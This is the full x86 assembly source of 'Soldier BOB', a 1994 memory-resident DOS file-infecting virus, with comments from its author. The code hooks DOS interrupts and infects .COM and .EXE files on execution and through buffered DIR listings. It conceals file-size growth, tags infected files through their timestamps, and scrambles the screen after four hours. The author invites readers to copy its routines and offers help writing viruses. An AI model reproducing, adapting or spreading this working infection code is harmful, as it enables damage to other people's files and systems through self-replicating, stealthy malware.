		.model tiny
		.code
		org     100h

; I made this virus for several month ago, then I forgott it. I recently found
; it on my harddrive, and I compiled it and tried it. To my amazement it worked!
;
; Soldier BOB infects .COM and .EXE files when you execute a file. It also
; saves up to 20 files into a buffer when you use the dos-command 'DIR'. And
; later when dos is counting how much diskspace that's free Soldier BOB will
; infect all files stored into the buffer. Filesize increases are hidden.
; When Soldier BOB has been resident for four hours it will fuck-up the whole
; screen. Try this routine, it's fun to see when your screen being totally mad.
;
; I don't really know exactly what Soldier BOB does because I haven't time to
; figure out all details, but since I've brought the source code, you are free
; to investigate that by yourself.
;
; Please feel free to rip routines and ideas from this source-code. My purpose
; is that everybody (who wants to) can be able to learn how to write a decent
; virus.
;
; If you need any help to write a virus, please do not hesitate to contact
; me on Internet.
;
; - regards, Macaroni Ted / A.N.O.I - 11-27-94

 ;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=);
 ;                     A NEW ORDER OF INTELLIGENCE PRESENTS:                 ;
 ;                                                                           ;
 ;                             S O L D I E R   B O B                         ;
 ;                                                                           ;
 ;             Copyright (c) Jan-Mar 1994 by Macaroni Ted / A.N.O.I.         ;
 ;                                                                           ;
 ;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=);

start:
		call    get_bp
get_bp:         pop     bp

		mov     ax,0ff4eh                ;(?N-)
		int     21h
		cmp     ax,4f49h                 ;(-OI)
		je      already_res

		push    ds es

		mov     ah,2ch
		int     21h
		add     ch,4
		mov     cs:start_time,ch

		call    hook_memory

		push    es
		pop     ds

		call    hook_interrupts

		pop     es ds
already_res:
		cmp     word ptr cs:[bp+(exe_header-get_bp)],'ZM'
		je      exit_exe
exit_com:
		lea     si,[bp+(exe_header-get_bp)]
		mov     di,100h
		cld
		movsb
		movsb
		movsb
		movsb
		movsb

		xor     ax,ax
		mov     bx,ax
		mov     cx,ax
		mov     dx,ax
		mov     si,ax
		mov     di,ax

		push    cs
		push    100h
		retf
exit_exe:
		mov     ax,es                    ;to code seg
		add     ax,10h

		add     ax,word ptr cs:[bp+(exe_header+16h-get_bp)]
		push    ax
		push    word ptr cs:[bp+(exe_header+14h-get_bp)]
		retf

original_int21h dd      ?
original_int1Bh dd      ?
original_int09h dd      ?
original_int1Ch dd      ?
start_time      db      ?

		db      'Soldier BOB - (c)jan-94 by A:N:O:I',10,13
		db      'Programmed by Macaroni Ted'

hook_memory:
		push    ds

		push    cs
		pop     ds

		mov     cx,es
		dec     cx
		mov     es,cx
		mov     bx,word ptr es:[3h]
		mov     dx,virlen
		mov     cl,4
		shr     dx,cl
		add     dx,4
		mov     cx,es
		sub     bx,dx
		inc     cx
		mov     es,cx
		mov     ah,4ah
		int     21h

;               jc      exit_com
		mov     ah,48h
		dec     dx
		mov     bx,dx                    ;it's done
		int     21h

;               jc      exit_com
		dec     ax
		mov     es,ax
		mov     cx,8h
		mov     word ptr es:[1h],cx
		sub     ax,0fh
		mov     di,100h                  ;begin of virus
		mov     es,ax
		lea     si,[bp+(start-get_bp)]
		mov     cx,virlen                ;<=== virus len
		cld
		repne   movsb

		pop     ds
		ret

hook_interrupts:                                 ;int 21h
		mov     ax,3521h
		int     21h
		mov     word ptr [original_int21h],bx
		mov     word ptr [original_int21h+2],es
		mov     ax,2521h
		lea     dx,new_int_21h
		int     21h

		mov     ax,351ch                 ;int 1Ch
		int     21h
		mov     word ptr [original_int1ch],bx
		mov     word ptr [original_int1ch+2],es
		mov     ax,251ch
		lea     dx,new_int_1ch
		int     21h
		ret

push_all:
		pop     cs:tmp_adr
		push    ax
		push    bx
		push    cx
		push    dx
		push    si
		push    di
		push    bp
		push    ds
		push    es
		jmp     word ptr cs:tmp_adr

tmp_adr         dw      ?
		db      'Soldier BOB - Made in Sweden'
pop_all:
		pop     cs:tmp_adr
		pop     es
		pop     ds
		pop     bp
		pop     di
		pop     si
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		jmp     word ptr cs:tmp_adr
int21h:
		pushf
		call    dword ptr cs:original_int21h
		retn
scroll:                                          ;input ax
		push    bx dx cx ax
		mov     dx,3D4h
		push    ax
		and     al,0Fh
		mov     ah,8
		xchg    al,ah
		out     dx,ax

		pop     ax
		mov     cl,4
		shr     ax,cl
		mov     cx,50h
		mul     cx
		mov     cl,al
		mov     al,0Ch
		mov     dx,3D4h
		out     dx,ax

		mov     ah,cl
		inc     al
		out     dx,ax

		pop     ax cx dx bx
		ret

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;                                 Int 21h
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_21h:
		pushf

		call    push_all

		mov     ah,2ch
		call    int21h
		mov     cs:time_h,ch

		call    pop_all

		cmp     ah,4bh                   ;execute
		je      execute_file

		cmp     ah,11h                   ;fool dir
		je      find__
		cmp     ah,12h
		je      find__

		cmp     ah,4eh                   ;dos 2.x
		je      find_
		cmp     ah,4fh
		je      find_

		cmp     ah,36h                   ;get free space
		je      get_free_space

		cmp     ax,0ff4eh                ;mem check (?N)
		je      mem_check

exit_21h:
		popf
		jmp     dword ptr cs:original_int21h
mem_check:
		mov     ax,4f49h                 ;(OI)
		popf
		iret
find_:
		jmp     find_new
find__:
		jmp     find_old

file_date       dw      ?
file_time       dw      ?
file_size1      dw      ?
file_size2      dw      ?
attribute       dw      ?

mask_com        db      '*.com',0
mask_exe        db      '*.exe',0
infected_files  dw      0


execute_file:
		call    infect                   ;infect ds:dx
		jmp     exit_21h
get_free_space:
		call    push_all
		push    cs cs
		pop     ds es

		lea     si,file_buffer
restore_buffer:
		lodsb
		cmp     al,0ffh                  ;end of buffer
		je      done_infecting
		dec     si

		push    si                       ;infect it
		mov     dx,si
		call    infect
		pop     si
get_eo_name:
		lodsb
		cmp     al,0ffh
		je      done_infecting
		or      al,al
		jnc     get_eo_name
		jmp     restore_buffer

done_infecting:
		mov     byte ptr cs:[file_buffer],0ffh ;clear buffer
		call    pop_all
		jmp     exit_21h

find_old:
		popf

		call    int21h
		cmp     al,0ffh
		jne     push_it
		jmp     no_more_files
push_it:
		call    push_all

		mov     ah,2fh                   ;get dta
		int     21h

		push    es                       ;es:bx
		pop     ds                       ;ds:bx
		mov     si,bx                    ;ds:si

		add     si,16                    ;ext name
		lodsw
		mov     dx,ax
		lodsb
		cmp     dx,'OC'                  ;ext=COM?
		jne     check_exe
		cmp     al,'M'
		jne     check_exe
		jmp     ext_ok
check_exe:
		cmp     dx,'XE'                  ;ext=EXE?
		jne     cancel_ff
		cmp     al,'E'
		jne     cancel_ff
ext_ok:
;               mov     si,bx
;               add     si,38
;               lodsw
;               cmp     ax,0
;               jne     cancel_ff

		mov     si,bx                    ;check if already infected
		add     si,30
		lodsw                            ;time
		and     al,00011111b
		cmp     al,14
		je      infected                 ;already infected (sec=28)

		push    cs
		pop     es

		lea     di,file_buffer
		mov     cx,260
get_end_of_buffer:
		mov     al,byte ptr es:[di]
		cmp     al,0ffh                  ;end of buffer?
		je      end_of_buffer
		inc     di
		loop    get_end_of_buffer
end_of_buffer:
		cmp     cx,14
		jb      cancel_ff

		mov     si,bx
		add     si,8                     ;filename

		mov     cx,8
copy_filename:
		lodsb
		cmp     al,20h
		je      copy_filename_klar
		stosb
		loop    copy_filename
copy_filename_klar:
		mov     al,'.'
		stosb
		mov     si,bx                    ;copy ext
		add     si,16
		movsb
		movsb
		movsb
		mov     al,0
		stosb
		mov     al,0ffh
		stosb

		jmp     cancel_ff
infected:
		mov     si,bx                    ;alter size
		add     si,36
		mov     di,si
		lodsw
		sub     ax,virlen
		jz      cancel_ff
		stosw
cancel_ff:
		call    pop_all
no_more_files:  retf    2                        ;iret flags

find_new:
		popf

		call    int21h
		jnc     more_files
		retf    2
more_files:
		pushf
		call    push_all

		mov     ah,2fh                   ;get dta
		int     21h

		push    es                       ;es:bx
		pop     ds                       ;ds:bx
		mov     si,bx                    ;ds:si

		add     si,1eh                   ;filename
get_ext:
		lodsb
		or      al,al
		jnz     get_ext
		sub     si,4
		lodsw
		cmp     ax,'XE'
		je      check_E
		cmp     ax,'OC'
		je      check_M
		cmp     ax,'xe'
		je      check_e
		cmp     ax,'oc'
		je      check_m
		jmp     cancel_new
check_E:
		lodsb
		cmp     al,'E'
		je      ext_is_ok
		cmp     al,'e'
		je      ext_is_ok
		jmp     cancel_new
check_M:
		lodsb
		cmp     al,'M'
		je      ext_is_ok
		cmp     al,'m'
		je      ext_is_ok
		jmp     cancel_ff
ext_is_ok:
		mov     si,bx
		add     si,16h
		lodsw                            ;time
		and     al,00011111b
		cmp     al,14
		je      infected2                ;already infected (sec=28)

		mov     dx,bx
		add     dx,1eh
		call    infect

		jmp     cancel_new
infected2:
		mov     si,bx
		add     si,1ah
		mov     di,si
		lodsw                            ;alter size
		sub     ax,virlen
		jz      cancel_new
		stosw
cancel_new:
		call    pop_all
		popf
		retf    2

infect:
		call    push_all
		mov     si,dx

		mov     ax,4300h                 ;get attrib
		int     21h
		mov     cs:attribute,cx          ;save it
		xor     cx,cx
		mov     ax,4301h                 ;force all attribs
		int     21h

;               mov     ax,6C00h                 ;open file
;               mov     bx,0010000011000010b     ;read/write disable int 24h
;               mov     dx,0000000000010001b     ;error if not found, != open
;               int     21h
		mov     ax,3d02h
		mov     dx,si
		int     21h
		mov     bx,ax

		push    cs cs
		pop     ds es

		mov     ah,57h                   ;get file date/time
		mov     al,0
		int     21h
		mov     file_date,dx
		mov     file_time,cx

		mov     ah,3fh                   ;read (exe) header
		mov     cx,1ch
		lea     dx,exe_header
		int     21h

		cmp     word ptr [exe_header+12h],'IA'  ;already infected(exe)
		jne     check_com
		jmp     close_file
check_com:
		cmp     word ptr [exe_header],'IA'      ;already infected(com)
		jne     goto_end
		jmp     close_file
goto_end:
		mov     ax,4202h                        ;goto end of file
		mov     cx,0
		mov     dx,0
		int     21h
		mov     file_size1,ax
		mov     file_size2,dx

		mov     ah,40h
		lea     dx,start
		mov     cx,virlen
		int     21h

		mov     ax,4200h
		mov     cx,0
		mov     dx,0
		int     21h

		cmp     word ptr [exe_header],'ZM'
		jne     infect_com
		jmp     infect_exe
infect_com:
		cmp     file_size2,0
		jne     close_file
		mov     ax,file_size1
		sub     ax,5
		mov     jmp_2,ax

		mov     ah,40h
		mov     cx,5
		lea     dx,jmp_1
		int     21h

		jmp     close_file
infect_exe:
		mov     ax,4202h
		mov     dx,0
		mov     cx,0
		int     21h

		mov     cx,200h                  ;512
		div     cx
		inc     ax
		mov     word ptr [exe_header+2],dx
		mov     word ptr [exe_header+4],ax

		mov     ax,file_size1            ;old file size
		mov     dx,file_size2

		mov     cx,10h
		div     cx
		sub     ax,word ptr [exe_header+8h]
		mov     word ptr ds:[exe_header+16h],ax
		mov     word ptr ds:[exe_header+14h],dx

		mov     word ptr [exe_header+12h],'IA'

		mov     ax,4200h
		mov     dx,0
		mov     cx,0
		int     21h

		mov     ah,40h                   ;write exe header
		mov     cx,1Ch
		lea     dx,exe_header
		int     21h
close_file:
		mov     dx,file_date
		mov     cx,file_time
		and     cl,11100000b
		or      cl,00001110b             ;secs = 28

		mov     ax,5701h                 ;set time/date
		int     21h

		mov     ah,3eh                   ;close file
		int     21h

		call    pop_all
		call    push_all                 ;restore filename

		mov     ax,4301h                 ;set attrib original attrib
		mov     cx,cs:attribute
		int     21h

		call    pop_all
		ret

exe_header      db      41h,49h,90h,0cdh,20h     ;5 first bytes
		db      1Ch-5 dup(0)             ;28

jmp_1           db      41h,49h                  ;inc cx, dec cx
		db      0e9h                     ;jmp
jmp_2           dw      ?                        ;xxxx


file_buffer     db      0ffh,259 dup(0)          ;20 filename 12345678.123,0

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;                                 Int 1Bh
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_1Bh:
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;                                 Int 09h
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_09h:
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;                                 Int 1Ch
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_1Ch:
		call    push_all

		mov     al,cs:start_time
		cmp     al,cs:time_h
		jne     exit_1ch
		jmp     rave_it
exit_1Ch:
		call    pop_all
		jmp     dword ptr cs:original_int1Ch

time_h          db      0

scroll_pos      dw      32                       ;bx
do_inc          dw      0                        ;dx

rave_it:
		inc     cs:do_inc
		cmp     cs:do_inc,3
		jne     dont_high
		mov     cs:do_inc,0
		inc     cs:scroll_pos
dont_high:
		mov     cx,cs:scroll_pos
		mov     ax,0
scroll_1:
		call    scroll
		inc     ax
		loop    scroll_1

		mov     cx,cs:scroll_pos
		add     cx,cx
scroll_2:
		call    scroll
		dec     ax
		loop    scroll_2
		jmp     rave_it


virlen          equ     offset eof - offset start
eof:
		end     start

